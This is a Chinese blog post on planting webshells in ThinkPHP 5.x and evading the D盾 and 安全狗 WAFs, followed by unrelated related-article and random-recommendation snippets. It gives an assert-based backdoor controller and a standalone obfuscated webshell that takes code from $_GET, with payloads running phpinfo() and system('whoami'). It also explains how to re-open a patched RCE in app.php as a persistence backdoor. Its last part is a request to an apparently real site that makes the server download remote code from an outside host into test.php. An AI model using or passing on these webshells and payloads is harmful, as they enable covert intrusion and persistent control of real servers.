环境:

Thinkphp 5.0.15

PHP version:7.0.12

WAF: D盾 ,安全狗

Thinkphp 采用 MVC 模式  核心:模块 -> 控制器 –> 方法

思路:利用已经有的think 类包库 去做一些事情

利用已有的功能,顺便对D盾 绕过

方法:

Payload1:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=phpinfo()

Payload2:

http://127.0.0.1/tp5.0.15/public/index.php/index?&f=call_user_func&shell[0]=assert&shell[1]=system(‘whoami’)

代码:

<?php
namespace app\index\controller;
use \think\App;
class index
{
public function index($f,$shell)
{
$a=new App();
$c=$a->invokeFunction($f,$shell);
return '</br> sucess'; }
}

关于用这个的来源:

Thinkphp5 rce 漏洞 其中一个payload  是这样的

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

漏洞原因:默认没有开启强制路由,路由控制不严谨,可以执行自己需要的类库

在think 类库中找到自己需要的功能,进行触发调用

先贴一个不需要thinkphp 环境下 过D盾 和安全狗的 马

 <?php
function invokeFunction($function, $vars = [])
{
$reflect = new ReflectionFunction($function); return $reflect->invokeArgs($vars);
} $function='a'.'ssert';
$vars=$_GET[1]; invokeFunction($function,$vars); ?>

还有一种思路,创建类或者函数,进行包含绕过,有兴趣的可以自己试一下。、

然后对于thinkphp 权限维持的思路,因为本身内核存在RCE, -这里假设打了补丁的RCE 被某洞获得到权限

演示以thinkphp 最新版本 5.0.24

在Think\app.php 文件内,把! 删掉 就可以继续RCE 了 (只是提供一种维持思路)

后来想了下,这样对整个站点都不安全了,不适合维持。可以在前面在加一段IF 开关条件  符合就不执行preg_math 这一段,对RCE的漏洞入口进行一个管理操作~

就可以继续任意执行了

tp 在 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10。  在模板调用的时候 有任意文件包含漏洞,可以自己写一个,当作后门。

附赠:

关于thinkphp rce  绕WAF or 宝塔

这里用了宝塔做测试:

http://yishangtv.com/index.php?s=&echod=copy(%22http://www.letv.cloud/ad.txt%22,%22test.php%22)

_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=echod

思路:绕敏感函数,和正则匹配

thinkphp下的Webshell&&php过D盾一句话的更多相关文章

  1. thinkphp下通过页面链接传递的参数获取一次后失效

    在thinkphp下通过页面链接传递的参数获取一次后失效,ajax内部无法再次使用.想要使用必须再次用js获取其值,通过ajax传递给后台使用. 1.通过页面链接传递参数给下一页 2.可以再下一页后台 ...

  2. 理解钩子Hook以及在Thinkphp下利用钩子使用行为扩展

    什么是钩子函数 个人理解:钩子就像一个”陷阱”.”监听器”,当A发送一个消息到B时,当消息还未到达目的地B时,被钩子拦截调出一部分代码做处理,这部分代码也叫钩子函数或者回调函数 参考网上说法 譬如我们 ...

  3. Thinkphp下嵌套UEditor富文本WEB编辑器

    UEditor是由百度web前端研发部开发所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点,开源基于MIT协议,允许自由使用和修改代码... 本文实际操作于ThinkPHP框架下,现 ...

  4. kali下的webshell工具-Weevely

    Weevely ------------------------------------------------ 主要特点: ·         隐蔽的类终端的PHP webshell ·       ...

  5. thinkphp下判断状态值语法

    在thinkphp框架下我们经常会用到状态值的判断:但是这样写会引起语法错误. <div> <if condition="{$res.status} eq '0'" ...

  6. thinkphp下实现ajax无刷新分页

    1.前言 作为一名php程序员,我们开发网站主要就是为了客户从客户端进行体验,在这里,thinkphp框架自带的分页类是每次翻页都要刷新一下整个页面,这种翻页的用户体验显然是不太理想的,我们希望每次翻 ...

  7. ThinkPHP 下如何隐藏index.php

    最近一直在做孕妈团的项目,因为部署到实际项目中出现了链接打不开的情况,要默认添加index.php才能正常访问. 当时忘了是Tinkphp的URL重写模式:以后遇到相同问题,首先要想到URL重写模式. ...

  8. ThinkPHP下隐藏index.php以及URL伪静态

    第一种方法: 设置url的重写模式(默认模式是1) 'URL_MODEL' => 2, // URL访问模式,可选参数0.1.2.3,代表以下四种模式: 第二种方法:  使用Apache来进行设 ...

  9. ThinkPHP下使用Ueditor

    在做课程设计的时候想到用百度的Ueditor,可在配置的时候出现了一些问题 Ueditor感觉不是很难,以前有个人定制的,现在取消了这项服务,但是我们可以自己进行配置 下载地址:http://uedi ...

随机推荐

  1. java网络编程socket\server\TCP笔记(转)

    java网络编程socket\server\TCP笔记(转) 2012-12-14 08:30:04|  分类: Socket |  标签:java  |举报|字号 订阅     1 TCP的开销 a ...

  2. 数据结构和算法(Golang实现)(12)常见数据结构-链表

    链表 讲数据结构就离不开讲链表.因为数据结构是用来组织数据的,如何将一个数据关联到另外一个数据呢?链表可以将数据和数据之间关联起来,从一个数据指向另外一个数据. 一.链表 定义: 链表由一个个数据节点 ...

  3. matlab计算LZ复杂度

    我这个计算得14通道,每个通道截取3000个数据得复杂度,最后将计算得出得数据存储到本地txt文档中 function LZC(data) % 计算一维信号的复杂度 % data时间序列 % lzc: ...

  4. E2. Send Boxes to Alice (Hard Version)

    秒的有点难以理解:https://blog.csdn.net/weixin_42868863/article/details/103200132 #include<bits/stdc++.h&g ...

  5. 胜利大逃亡 BFS

    Ignatius被魔王抓走了,有一天魔王出差去了,这可是Ignatius逃亡的好机会. 魔王住在一个城堡里,城堡是一个A*B*C的立方体,可以被表示成A个B*C的矩阵,刚开始Ignatius被关在(0 ...

  6. . Number throry

    steve 学完了快速幂,现在会他快速的计算:(ij)%d , Alex 作为一个数学大师,给了 steve 一个问题:已知i∈[1,n],j∈[1,m] ,计算满足 (ij)%d=0 的 (i,j) ...

  7. SpringBoot全局异常处理与定制404页面

    一.错误处理原理分析 使用SpringBoot创建的web项目中,当我们请求的页面不存在(http状态码为404),或者器发生异常(http状态码一般为500)时,SpringBoot就会给我们返回错 ...

  8. Chrome插件安利!可以一键导出微信读书笔记|支持Markdown等三种格式

    众所周知,微信读书App 是一款非常优秀的阅读类App ,周围也有不少人在用.虽然工作比较忙.但是也没少在上面看书做笔记. 美中不足的是,目前微信读书虽然支持笔记导出,但是提供的是将笔记复制到剪切板, ...

  9. JAVA的synchronized写法

    使用关键字synchronized的写法比较多,常用的有如下几种,代码如下: public class MyService { synchronized public static void test ...

  10. [YII2] 增删改查2

    一.新增 使用model::save()操作进行新增数据 $user= new User; $user->username =$username; $user->password =$pa ...